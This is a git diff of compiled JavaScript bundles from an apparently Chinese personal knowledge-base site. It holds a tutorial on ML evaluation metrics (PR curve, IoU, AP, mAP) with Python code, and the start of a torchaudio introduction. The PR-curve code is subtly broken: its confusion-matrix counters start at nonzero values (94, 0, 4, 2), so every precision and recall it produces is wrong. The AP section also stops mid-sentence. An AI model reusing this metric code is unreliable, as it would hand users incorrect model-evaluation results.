F1"}),"\n"]}),"\n",(0,l.jsx)(e.h2,{id:"pr\u66f2\u7ebf",children:"PR\u66f2\u7ebf"}),"\n",(0,l.jsx)(e.p,{children:"\u5728\u6df1\u5ea6\u5b66\u4e60\u5e38\u7528\u6307\u6807\u4e2d\uff0cPR\u66f2\u7ebf\u4e5f\u80fd\u5f88\u76f4\u89c2\u7684\u53cd\u5e94\u6a21\u578b\u597d\u574f\u3002\u6211\u4eec\u7528\u4e00\u526f\u7ecf\u5178\u56fe\u6765\u8bf4\u660e\u95ee\u9898\uff1a"}),"\n",(0,l.jsx)(e.img,{src:"figures/PR.png",align:"center",style:{zoom:"100%"}}),"\n",(0,l.jsx)(e.p,{children:"\u6a2a\u8f74\u662f\u53ec\u56de\u7387\uff0c\u7eb5\u8f74\u4ee3\u8868\u4e86P\uff08\u7cbe\u786e\u7387)\uff0cP-R\u66f2\u7ebf\u4e0a\u7684\u4e00\u4e2a\u70b9\u4ee3\u8868\u7740\uff0c\u5728\u67d0\u4e00\u9608\u503c\u4e0b\uff0c\u6a21\u578b\u5c06\u5927\u4e8e\u8be5\u9608\u503c\u7684\u7ed3\u679c\u5224\u5b9a\u4e3a\u6b63\u6837\u672c\uff0c\u5c0f\u4e8e\u8be5\u9608\u503c\u7684\u7ed3\u679c\u5224\u5b9a\u4e3a\u8d1f\u6837\u672c\uff0c\u6b64\u65f6\u8fd4\u56de\u7ed3\u679c\u5bf9\u5e94\u7684\u53ec\u56de\u7387\u548c\u7cbe\u786e\u7387\u3002\u6574\u6761P-R\u66f2\u7ebf\u662f\u901a\u8fc7\u5c06\u9608\u503c\u4ece\u9ad8\u5230\u4f4e\u79fb\u52a8\u800c\u751f\u6210\u7684\u3002\u539f\u70b9\u9644\u8fd1\u4ee3\u8868\u5f53\u9608\u503c\u6700\u5927\u65f6\u6a21\u578b\u7684\u7cbe\u786e\u7387\u548c\u53ec\u56de\u7387\uff0c\u5728PR\u66f2\u7ebf\u6211\u4eec\u53ef\u4ee5\u4ece\u56fe\u4e2d\u76f4\u89c2\u7684\u770b\u5230\u67d0\u4e00\u4e2a\u66f2\u7ebf\u88ab\u53e6\u5916\u4e00\u6761\u66f2\u7ebf\u5b8c\u5168\u5305\u88f9\uff0c\u6240\u5305\u56f4\u7684\u9762\u79ef\u5927\u4e8e\u53e6\u4e00\u6761\u66f2\u7ebf\u5305\u56f4\u7684\u9762\u79ef\uff0c\u4e3e\u4f8b\u56fe\u4e2d\u53ef\u4ee5\u8bf4\u660eA\u6a21\u578b\u7684\u6027\u80fd\u4f18\u4e8eB\u548cC\u3002\n\u53c2\u8003\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-python",children:"from typing import List, Tuple\nimport matplotlib.pyplot as plt\n\ndef get_confusion_matrix(\n y_pred: List[int], \n y_true: List[int]\n ) -> Tuple[int, int, int, int]:\n \n length = len(y_pred)\n assert length == len(y_true)\n tp, fp, fn, tn = 94, 0, 4, 2\n for i in range(length):\n if y_pred[i] == y_true[i] and y_pred[i] == 1:\n tp += 1\n elif y_pred[i] == y_true[i] and y_pred[i] == 0:\n tn += 1\n elif y_pred[i] == 1 and y_true[i] == 0:\n fp += 1\n elif y_pred[i] == 0 and y_true[i] == 1:\n fn += 1\n return (tp, fp, tn, fn)\ndef calc_p(tp: int, fp: int) -> float:\n return tp / (tp + fp)\ndef calc_r(tp: int, fn: int) -> float:\n return tp / (tp + fn)\ndef get_pr_pairs(\n y_pred_prob: List[float], \n y_true: List[int]\n\t) -> Tuple[List[int], List[int]]:\n ps = [1]\n rs = [0]\n for prob1 in y_pred_prob:\n y_pred_i = []\n for prob2 in y_pred_prob:\n if prob2 < prob1:\n y_pred_i.append(0)\n else:\n y_pred_i.append(1)\n tp, fp, tn, fn = get_confusion_matrix(y_pred_i, y_true)\n p = calc_p(tp, fp)\n r = calc_r(tp, fn)\n ps.append(p)\n rs.append(r)\n ps.append(0)\n rs.append(1)\n return ps, rs\n\ny_pred_prob = [0.9, 0.8, 0.7, 0.6, 0.55, 0.54, 0.53, 0.52, 0.51, 0.505,\n 0.4, 0.39, 0.38, 0.37, 0.36, 0.35, 0.34, 0.33, 0.3, 0.1]\ny_true = [1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0]\ny_pred = [1] * 10 + [0] * 10\nps, rs = get_pr_pairs(y_pred_prob, y_true)\nfig, ax = plt.subplots(nrows=1, ncols=1, figsize=(12, 5))\nax.plot(rs, ps);\n"})}),"\n",(0,l.jsx)(e.h2,{id:"\u7f6e\u4fe1\u5ea6",children:"\u7f6e\u4fe1\u5ea6"}),"\n",(0,l.jsx)(e.p,{children:"\u5728\u76ee\u6807\u68c0\u6d4b\u4e2d\uff0c\u6211\u4eec\u901a\u5e38\u9700\u8981\u5c06\u8fb9\u754c\u6846\u5185\u7269\u4f53\u5212\u5206\u4e3a\u6b63\u6837\u672c\u548c\u8d1f\u6837\u672c\u3002\u6211\u4eec\u4f7f\u7528\u7f6e\u4fe1\u5ea6\u8fd9\u4e2a\u6307\u6807\u6765\u8fdb\u884c\u5212\u5206\uff0c\u5f53\u5c0f\u4e8e\u7f6e\u4fe1\u5ea6\u8bbe\u7f6e\u7684\u9608\u503c\u5224\u5b9a\u4e3a\u8d1f\u6837\u672c\uff08\u80cc\u666f\uff09\uff0c\u5927\u4e8e\u7f6e\u4fe1\u5ea6\u8bbe\u7f6e\u7684\u9608\u503c\u5224\u5b9a\u4e3a\u6b63\u6837\u672c."}),"\n",(0,l.jsx)(e.h2,{id:"iou",children:"IOU"}),"\n",(0,l.jsx)(e.p,{children:"\u96c5\u5361\u5c14\u6307\u6570( Jaccard index)\uff0c\u4ea4\u5e76\u6bd4\uff0c\u4e5f\u662f\u6211\u4eec\u5728\u76ee\u6807\u68c0\u6d4b\u548c\u8bed\u4e49\u5206\u5272\u9886\u57df\u7ecf\u5e38\u89c1\u5230\u7684IOU\u3002 IOU\u53ef\u4ee5\u53bb\u9664\u76ee\u6807\u68c0\u6d4b\u7684\u5197\u4f59\u6846\u8fdb\u884c\u540e\u5904\u7406\u4f18\u5316\u5e76\u4e14\u8fd8\u53ef\u4ee5\u8ba1\u7b97Loss\u8fbe\u5230\u4f18\u5316\u6a21\u578b\u7684\u6548\u679c\u3002\n$$\n\\rm{IOU} = \\frac{A\\cap B}{A\\cup B}=\\frac{S_{\u4ea4\u96c6}}{S_{\u5e76\u96c6}}\n$$\n\u5206\u5b50\u90e8\u5206\u662f\u6a21\u578b\u9884\u6d4b\u6846\u4e0e\u771f\u5b9e\u6807\u6ce8\u6846\u4e4b\u95f4\u7684\u91cd\u53e0\u533a\u57df\uff0c\u5206\u6bcd\u90e8\u5206\u662f\u4e24\u8005\u7684\u5e76\u96c6\uff0c\u9884\u6d4b\u6846\u548c\u5b9e\u9645\u6846\u6240\u5360\u6709\u7684\u603b\u533a\u57df\uff0c\u5728\u5b9e\u9645\u6a21\u578b\u8bc6\u522b\u65f6\u4f1a\u6839\u636e\u6211\u4eec\u81ea\u5df1\u8bbe\u5b9a\u5408\u9002\u7684\u9608\u503c\u6765\u5224\u5b9a\u6b63\u8d1f\u6837\u672c\u3002"}),"\n",(0,l.jsx)(e.img,{src:"figures/IOU.png",align:"center",style:{zoom:"80%"}}),"\n",(0,l.jsx)(e.p,{children:"\u4e00\u822c\u60c5\u51b5\u4e0b\u5728\u76ee\u6807\u68c0\u6d4b\u4efb\u52a1\u4e2d\uff0c\u4eba\u4eec\u5c06IOU $\\geq$0.7\u65f6\u5224\u5b9a\u4e3a\u6b63\u6837\u672c\uff0c\u5176\u4f59\u60c5\u51b5\u5224\u5b9a\u4e3a\u8d1f\u6837\u672c\u3002"}),"\n",(0,l.jsx)(e.h2,{id:"ap",children:"AP"}),"\n",(0,l.jsx)(e.p,{children:"\u7ed3\u5408\u6211\u6700\u8fd1\u505a\u7684\u5b9e\u9a8c\u7ed3\u5408\u7406\u89e3\u4e0b\uff0cAP\u4e8b\u5b9e\u4e0a\u662fPR\u66f2\u7ebf\u6240\u5305\u542b\u7684\u9762\u79ef\uff0c\u5f53\u6211\u4eec\u53d6\u4e0d\u540c\u7684\u7f6e\u4fe1\u5ea6\uff0c\u53ef\u4ee5\u83b7\u5f97\u4e0d\u540c\u7684P\u548cRecall\uff0cPR\u66f2\u7ebf\u4e0b\u9762\u6240\u5305\u542b\u7684\u9762\u79ef\u5c31\u662f\u6a21\u578b\u68c0\u6d4b\u67d0\u4e2a\u7c7b\u7684AP\u503c\u3002\u6211\u4eec\u4ecd\u7136\u4ee5\u4e0a\u8ff0\u6838\u9178\u68c0\u6d4b\u4e3a\u4f8b\uff0c"}),"\n",(0,l.jsx)(e.h2,{id:"map",children:"mAP"}),"\n",(0,l.jsx)(e.p,{children:"\u6211\u4eec\u719f\u6089\u4e86\u4e0a\u9762\u7684\u57fa\u7840\u6982\u5ff5\uff0c\u5c31\u53ef\u4ee5\u8ba1\u7b97\u6a21\u578b\u7684mAP\u4e86\uff0c\u5168\u79f0mean Average Precision\uff0cmAP\u5219\u662f\u6240\u6709\u7c7b\u7684AP\u503c\u7684\u5e73\u5747\u503c\u3002\u901a\u8fc7\u4e0a\u8ff0\u7684PR\u66f2\u7ebf\uff0c\u6211\u4eec\u53ef\u4ee5\u5f97\u5230\u5bf9\u5e94\u7684AP\u503c\uff0c\u901a\u8fc7\u4e86\u89e3\uff0c\n(1)\u57282010\u5e74\u4ee5\u524d\uff0cVOC\u7ade\u8d5bAP\u503c\u7684\u5b9a\u4e49\u4e3a\uff1a\u5bf9\u4e8e\u4e00\u6761AP\u66f2\u7ebf\uff0c\u6211\u4eec\u628aRecall\u7684\u503c\u4ece0-1\u5212\u5206\u4e3a11\u5206\uff0c\u5373\uff1a0\u30010.1\u30010.2\u30010.3\u30010.4\u30010.5\u30010.6\u30010.7\u30010.8\u30010.9\u30011.0\uff0c\u7136\u540e\u57fa\u4e8e\u6bcf\u4e2a\u5c0f\u533a\u95f4\u8ba1\u7b97Precision\u7684\u6700\u5927\u503c\uff0c\u7136\u540e\u8ba1\u7b97\u4ed6\u4eec\u7684\u603b\u548c\u6c42\u5e73\u5747\uff0c\u5c31\u662fAP\u503c\uff0c\u88ab\u79f0\u4f5c11-poinst-interpolation.\n(2) 2010\u5e74\u540e\uff0c\u91cd\u65b0\u5b9a\u4e49\u4e3aPR\u66f2\u7ebf\u4e0a\u6240\u6709\u7684Recall\uff0c\u9009\u53d6\u5927\u4e8e\u7b49\u4e8e\u8fd9\u4e9bRecall\u503c\u65f6\u7684\u6700\u5927\u503cPrecision,\u8ba1\u7b97PR\u66f2\u7ebf\u4e0b\u9762\u9762\u79ef\u4f5c\u4e3aAP\u503c.\u88ab\u79f0\u4f5call-poinst-interpolation."}),"\n",(0,l.jsxs)(e.ul,{children:["\n",(0,l.jsx)(e.li,{children:(0,l.jsx)(e.a,{href:"https://zhuanlan.zhihu.com/p/391186508",children:"\u897f\u74dc\u4e66\u7b14\u8bb0"})}),"\n",(0,l.jsx)(e.li,{children:(0,l.jsx)(e.a,{href:"https://book.douban.com/subject/26708119/",children:"\u673a\u5668\u5b66\u4e60 (\u8c46\u74e3)"})}),"\n"]})]})}function o(n={}){const{wrapper:e}={...(0,t.R)(),...n.components};return e?(0,l.jsx)(e,{...n,children:(0,l.jsx)(d,{...n})}):d(n)}}}]); \ No newline at end of file diff --git a/assets/js/4e16b6e7.28afe261.js b/assets/js/4e16b6e7.28afe261.js new file mode 100644 index 0000000..8713cb6 --- /dev/null +++ b/assets/js/4e16b6e7.28afe261.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4051],{3051:(e,i,n)=>{n.r(i),n.d(i,{assets:()=>c,contentTitle:()=>l,default:()=>h,frontMatter:()=>a,metadata:()=>t,toc:()=>d});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.5 \u97f3\u9891 - torchaudio","title":"8.5 \u97f3\u9891 - torchaudio.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0/8.5 \u97f3\u9891 - torchaudio.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.5 \u97f3\u9891 - torchaudio","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.5 \u97f3\u9891 - torchaudio","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0/8.5 \u97f3\u9891 - torchaudio.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"8.4 \u6587\u672c - torchtext.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.4 \u6587\u672c - torchtext"},"next":{"title":"\u7b2c\u4e5d\u7ae0","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e5d\u7ae0/"}}');var o=n(74848),r=n(28453);const a={},l="8.5 \u97f3\u9891 - torchaudio.md",c={},d=[{value:"8.4.1 torchaduio\u7684\u4e3b\u8981\u7ec4\u6210\u90e8\u5206",id:"841-torchaduio\u7684\u4e3b\u8981\u7ec4\u6210\u90e8\u5206",level:2},{value:"8.4.2 torchaduio\u7684\u5b89\u88c5",id:"842-torchaduio\u7684\u5b89\u88c5",level:2},{value:"8.4.3 datasets\u7684\u6784\u5efa",id:"843-datasets\u7684\u6784\u5efa",level:2},{value:"8.4.4 model\u548cpipeline\u7684\u6784\u5efa",id:"844-model\u548cpipeline\u7684\u6784\u5efa",level:2},{value:"8.4.5 transforms\u548cfunctional\u7684\u4f7f\u7528",id:"845-transforms\u548cfunctional\u7684\u4f7f\u7528",level:2},{value:"8.4.6 compliance\u548ckaldi_io\u7684\u4f7f\u7528",id:"846-compliance\u548ckaldi_io\u7684\u4f7f\u7528",level:2},{value:"torchaduio.compliance.kaldi",id:"torchaduiocompliancekaldi",level:3},{value:"torchaduio.kaldi_io",id:"torchaduiokaldi_io",level:3},{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2}];function s(e){const i={a:"a",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...e.components};return(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)(i.header,{children:(0,o.jsx)(i.h1,{id:"85-\u97f3\u9891---torchaudiomd",children:"8.5 \u97f3\u9891 - torchaudio.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,o.jsxs)(i.table,{children:[(0,o.jsx)(i.thead,{children:(0,o.jsxs)(i.tr,{children:[(0,o.jsx)(i.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,o.jsx)(i.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,o.jsx)(i.tbody,{children:(0,o.jsxs)(i.tr,{children:[(0,o.jsx)(i.td,{style:{textAlign:"left"},children:(0,o.jsx)(i.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,o.jsx)(i.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:30"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,o.jsxs)(i.table,{children:[(0,o.jsx)(i.thead,{children:(0,o.jsxs)(i.tr,{children:[(0,o.jsx)(i.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,o.jsx)(i.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,o.jsx)(i.tbody,{children:(0,o.jsxs)(i.tr,{children:[(0,o.jsx)(i.td,{style:{textAlign:"left"},children:(0,o.jsx)(i.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,o.jsx)(i.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,o.jsx)(i.h1,{id:"85-torchaudio\u7b80\u4ecb",children:"8.5 torchaudio\u7b80\u4ecb"}),"\n",(0,o.jsx)(i.p,{children:"\u672c\u8282\u6211\u4eec\u6765\u4ecb\u7ecdPyTorch\u5b98\u65b9\u7528\u4e8e\u8bed\u97f3\u5904\u7406\u7684\u5de5\u5177\u5305torchaduio\u3002\u8bed\u97f3\u7684\u5904\u7406\u4e5f\u662f\u6df1\u5ea6\u5b66\u4e60\u7684\u4e00\u5927\u5e94\u7528\u573a\u666f\uff0c\u5305\u62ec\u8bf4\u8bdd\u4eba\u8bc6\u522b(Speaker Identification)\uff0c\u8bf4\u8bdd\u4eba\u5206\u79bb(Speaker Diarization)\uff0c\u97f3\u7d20\u8bc6\u522b(Phoneme Recognition)\uff0c\u8bed\u97f3\u8bc6\u522b(Automatic Speech Recognition)\uff0c\u8bed\u97f3\u5206\u79bb(Speech Separation)\uff0c\u6587\u672c\u8f6c\u8bed\u97f3(TTS)\u7b49\u4efb\u52a1\u3002"}),"\n",(0,o.jsx)(i.p,{children:"CV\u6709torchvision\uff0cNLP\u6709torchtext\uff0c\u4eba\u4eec\u5e0c\u671b\u8bed\u97f3\u9886\u57df\u4e2d\u4e5f\u80fd\u6709\u4e00\u4e2a\u5de5\u5177\u5305\u3002\u800c\u8bed\u97f3\u7684\u5904\u7406\u5de5\u5177\u5305\u5c31\u662ftorchaudio\u3002\u7531\u4e8e\u8bed\u97f3\u4efb\u52a1\u672c\u8eab\u7684\u7279\u6027\uff0c\u5bfc\u81f4\u5176\u4e0eNLP\u548cCV\u5728\u6570\u636e\u5904\u7406\u3001\u6a21\u578b\u6784\u5efa\u3001\u6a21\u578b\u9a8c\u8bc1\u6709\u8bb8\u591a\u4e0d\u540c\uff0c\u56e0\u6b64\u8bed\u97f3\u7684\u5de5\u5177\u5305torchaudio\u548ctorchvision\u7b49CV\u76f8\u5173\u5de5\u5177\u5305\u4e5f\u6709\u4e00\u4e9b\u529f\u80fd\u4e0a\u7684\u5dee\u5f02\u3002"}),"\n",(0,o.jsx)(i.p,{children:"\u901a\u8fc7\u672c\u7ae0\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,o.jsxs)(i.ul,{children:["\n",(0,o.jsx)(i.li,{children:"\u8bed\u97f3\u6570\u636e\u7684I/O"}),"\n",(0,o.jsx)(i.li,{children:"\u8bed\u97f3\u6570\u636e\u7684\u9884\u5904\u7406"}),"\n",(0,o.jsx)(i.li,{children:"\u8bed\u97f3\u9886\u57df\u7684\u6570\u636e\u96c6"}),"\n",(0,o.jsx)(i.li,{children:"\u8bed\u97f3\u9886\u57df\u7684\u6a21\u578b"}),"\n"]}),"\n",(0,o.jsx)(i.h2,{id:"841-torchaduio\u7684\u4e3b\u8981\u7ec4\u6210\u90e8\u5206",children:"8.4.1 torchaduio\u7684\u4e3b\u8981\u7ec4\u6210\u90e8\u5206"}),"\n",(0,o.jsx)(i.p,{children:"torchaduio\u4e3b\u8981\u5305\u62ec\u4ee5\u4e0b\u51e0\u4e2a\u90e8\u5206\uff1a"}),"\n",(0,o.jsxs)(i.ul,{children:["\n",(0,o.jsx)(i.li,{children:"torchaudio.io\uff1a\u6709\u5173\u97f3\u9891\u7684I/O"}),"\n",(0,o.jsx)(i.li,{children:"torchaudio.backend\uff1a\u63d0\u4f9b\u4e86\u97f3\u9891\u5904\u7406\u7684\u540e\u7aef\uff0c\u5305\u62ec\uff1asox\uff0csoundfile\u7b49"}),"\n",(0,o.jsx)(i.li,{children:"torchaudio.functional\uff1a\u5305\u542b\u4e86\u5e38\u7528\u7684\u8bed\u97f3\u6570\u636e\u5904\u7406\u65b9\u6cd5\uff0c\u5982\uff1aspectrogram\uff0ccreate_fb_matrix\u7b49"}),"\n",(0,o.jsx)(i.li,{children:"torchaudio.transforms\uff1a\u5305\u542b\u4e86\u5e38\u7528\u7684\u8bed\u97f3\u6570\u636e\u9884\u5904\u7406\u65b9\u6cd5\uff0c\u5982\uff1aMFCC\uff0cMelScale\uff0cAmplitudeToDB\u7b49"}),"\n",(0,o.jsx)(i.li,{children:"torchaudio.datasets\uff1a\u5305\u542b\u4e86\u5e38\u7528\u7684\u8bed\u97f3\u6570\u636e\u96c6\uff0c\u5982\uff1aVCTK\uff0cLibriSpeech\uff0cyesno\u7b49"}),"\n",(0,o.jsx)(i.li,{children:"torchaudio.models\uff1a\u5305\u542b\u4e86\u5e38\u7528\u7684\u8bed\u97f3\u6a21\u578b\uff0c\u5982\uff1aWav2Letter\uff0cDeepSpeech\u7b49"}),"\n",(0,o.jsx)(i.li,{children:"torchaudio.models.decoder\uff1a\u5305\u542b\u4e86\u5e38\u7528\u7684\u8bed\u97f3\u89e3\u7801\u5668\uff0c\u5982\uff1aGreedyDecoder\uff0cBeamSearchDecoder\u7b49"}),"\n",(0,o.jsx)(i.li,{children:"torchaudio.pipelines\uff1a\u5305\u542b\u4e86\u5e38\u7528\u7684\u8bed\u97f3\u5904\u7406\u6d41\u6c34\u7ebf\uff0c\u5982\uff1aSpeechRecognitionPipeline\uff0cSpeakerRecognitionPipeline\u7b49"}),"\n",(0,o.jsx)(i.li,{children:"torchaudio.sox_effects\uff1a\u5305\u542b\u4e86\u5e38\u7528\u7684\u8bed\u97f3\u5904\u7406\u65b9\u6cd5\uff0c\u5982\uff1aapply_effects_tensor\uff0capply_effects_file\u7b49"}),"\n",(0,o.jsx)(i.li,{children:"torchaudio.compliance.kaldi\uff1a\u5305\u542b\u4e86\u4e0eKaldi\u5de5\u5177\u517c\u5bb9\u7684\u65b9\u6cd5\uff0c\u5982\uff1aload_kaldi_fst\uff0cload_kaldi_ark\u7b49"}),"\n",(0,o.jsx)(i.li,{children:"torchaudio.kalid_io\uff1a\u5305\u542b\u4e86\u4e0eKaldi\u5de5\u5177\u517c\u5bb9\u7684\u65b9\u6cd5\uff0c\u5982\uff1aread_vec_flt_scp\uff0cread_vec_int_scp\u7b49"}),"\n",(0,o.jsx)(i.li,{children:"torchaudio.utils\uff1a\u5305\u542b\u4e86\u5e38\u7528\u7684\u8bed\u97f3\u5de5\u5177\u65b9\u6cd5\uff0c\u5982\uff1aget_audio_backend\uff0cset_audio_backend\u7b49"}),"\n"]}),"\n",(0,o.jsx)(i.h2,{id:"842-torchaduio\u7684\u5b89\u88c5",children:"8.4.2 torchaduio\u7684\u5b89\u88c5"}),"\n",(0,o.jsx)(i.p,{children:"\u4e00\u822c\u5728\u5b89\u88c5torch\u7684\u540c\u65f6\uff0c\u4e5f\u4f1a\u5b89\u88c5torchaudio\u3002\u5047\u5982\u6211\u4eec\u7684\u73af\u5883\u4e2d\u6ca1\u6709torchaudio\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528pip\u6216\u8005conda\u53bb\u5b89\u88c5\u5b83\u3002\u53ea\u9700\u8981\u6267\u884c\u4ee5\u4e0b\u547d\u4ee4\u5373\u53ef\uff1a"}),"\n",(0,o.jsx)(i.pre,{children:(0,o.jsx)(i.code,{className:"language-shell",children:"pip install torchaudio # conda install torchaudio\n"})}),"\n",(0,o.jsxs)(i.p,{children:["\u5728\u5b89\u88c5\u7684\u65f6\u5019\uff0c\u6211\u4eec\u4e00\u5b9a\u8981\u6839\u636e\u81ea\u5df1\u7684PyTorch\u7248\u672c\u548cPython\u7248\u672c\u9009\u62e9\u5bf9\u5e94\u7684torchaudio\u7684\u7248\u672c\uff0c\u5177\u4f53\u6211\u4eec\u53ef\u4ee5\u67e5\u770b",(0,o.jsx)(i.a,{href:"https://pytorch.org/audio/main/installation.html#compatibility-matrix",children:"torchaudio Compatibility Matrix"})]}),"\n",(0,o.jsx)(i.h2,{id:"843-datasets\u7684\u6784\u5efa",children:"8.4.3 datasets\u7684\u6784\u5efa"}),"\n",(0,o.jsx)(i.p,{children:"torchaudio\u4e2d\u5bf9\u4e8e\u4e00\u4e9b\u516c\u5171\u6570\u636e\u96c6\uff0c\u6211\u4eec\u53ef\u4ee5\u4e3b\u8981\u901a\u8fc7torchaudio.datasets\u6765\u5b9e\u73b0\u3002\u5bf9\u4e8e\u79c1\u6709\u6570\u636e\u96c6\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u901a\u8fc7\u7ee7\u627ftorch.utils.data.Dataset\u6765\u6784\u5efa\u81ea\u5df1\u7684\u6570\u636e\u96c6\u3002\u6570\u636e\u96c6\u7684\u8bfb\u53d6\u548c\u5904\u7406\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7torch.utils.data.DataLoader\u6765\u5b9e\u73b0\u3002"}),"\n",(0,o.jsx)(i.pre,{children:(0,o.jsx)(i.code,{className:"language-python",children:"import torchaudio\nimport torch\n\n# \u516c\u5171\u6570\u636e\u96c6\u7684\u6784\u5efa\nyesno_data = torchaudio.datasets.YESNO('.', download=True)\ndata_loader = torch.utils.data.DataLoader(\n yesno_data,\n batch_size=1,\n shuffle=True,\n num_workers=4)\n"})}),"\n",(0,o.jsx)(i.p,{children:"torchaudio\u63d0\u4f9b\u4e86\u8bb8\u591a\u5e38\u7528\u7684\u8bed\u97f3\u6570\u636e\u96c6\uff0c\u5305\u62ecCMUARCTIC\uff0cCMUDict\uff0cCOMMONVOICE\uff0cDR_VCTK\uff0cFluentSpeechCommands\uff0cGTZAN\uff0cIEMOCAP\uff0cLIBRISPEECH\uff0cLIBRITTS\uff0cLJSPEECH\uff0cLibriLightLimited\uff0cLibriMix\uff0cMUSDB_HQ\uff0cQUESST14\uff0cSPEECHCOMMANDS\uff0cSnips\uff0cTEDLIUM\uff0cVCTK_092\uff0cVoxCeleb1Identification\uff0cVoxCeleb1Verification\uff0cYESNO\u7b49\u3002\u5177\u4f53\u7684\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u4ee5\u4e0b\u547d\u4ee4\u6765\u67e5\u770b\uff1a"}),"\n",(0,o.jsx)(i.pre,{children:(0,o.jsx)(i.code,{className:"language-python",children:"import torchaudio\ndir(torchaudio.datasets)\n"})}),"\n",(0,o.jsx)(i.pre,{children:(0,o.jsx)(i.code,{className:"language-shell",children:"'CMUARCTIC','CMUDict','COMMONVOICE','DR_VCTK','FluentSpeechCommands',\n'GTZAN','IEMOCAP','LIBRISPEECH','LIBRITTS','LJSPEECH','LibriLightLimited',\n'LibriMix','MUSDB_HQ','QUESST14','SPEECHCOMMANDS','Snips','TEDLIUM',\n'VCTK_092','VoxCeleb1Identification','VoxCeleb1Verification','YESNO']\n"})}),"\n",(0,o.jsx)(i.h2,{id:"844-model\u548cpipeline\u7684\u6784\u5efa",children:"8.4.4 model\u548cpipeline\u7684\u6784\u5efa"}),"\n",(0,o.jsxs)(i.p,{children:["torchaudio.models\u5305\u542b\u4e86\u5e38\u89c1\u8bed\u97f3\u4efb\u52a1\u7684\u6a21\u578b\u7684\u5b9a\u4e49\uff0c\u5305\u62ec\uff1aWav2Letter\uff0cDeepSpeech\uff0cHuBERTPretrainModel\u7b49\u3002torchaudio.pipelines\u5219\u662f\u5c06\u9884\u8bad\u7ec3\u6a21\u578b\u548c\u5176\u5bf9\u5e94\u7684\u4efb\u52a1\u7ec4\u5408\u5728\u4e00\u8d77\uff0c\u6784\u6210\u4e86\u4e00\u4e2a\u5b8c\u6574\u7684\u8bed\u97f3\u5904\u7406\u6d41\u6c34\u7ebf\u3002torchaudio.pipeline\u76f8\u8f83\u4e8etorchvision\u8fd9\u79cd\u89c6\u89c9\u5e93\u800c\u8a00\uff0c\u662ftorchaudio\u7684\u7cbe\u534e\u90e8\u5206\u3002\u6211\u4eec\u5728\u6b64\u4e5f\u4e0d\u8fdb\u884c\u8fc7\u591a\u7684\u9610\u8ff0\uff0c\u5bf9\u4e8e\u8fdb\u4e00\u6b65\u7684\u5b66\u4e60\uff0c\u6211\u4eec\u53ef\u4ee5\u53c2\u8003\u5b98\u65b9\u7ed9\u51fa\u7684",(0,o.jsx)(i.a,{href:"https://pytorch.org/audio/stable/tutorials/speech_recognition_pipeline_tutorial.html",children:"Pipeline Tutorials"}),"\u548c",(0,o.jsx)(i.a,{href:"https://pytorch.org/audio/stable/pipelines.html",children:"torchaudio.pipelines docs"}),"\u3002"]}),"\n",(0,o.jsx)(i.h2,{id:"845-transforms\u548cfunctional\u7684\u4f7f\u7528",children:"8.4.5 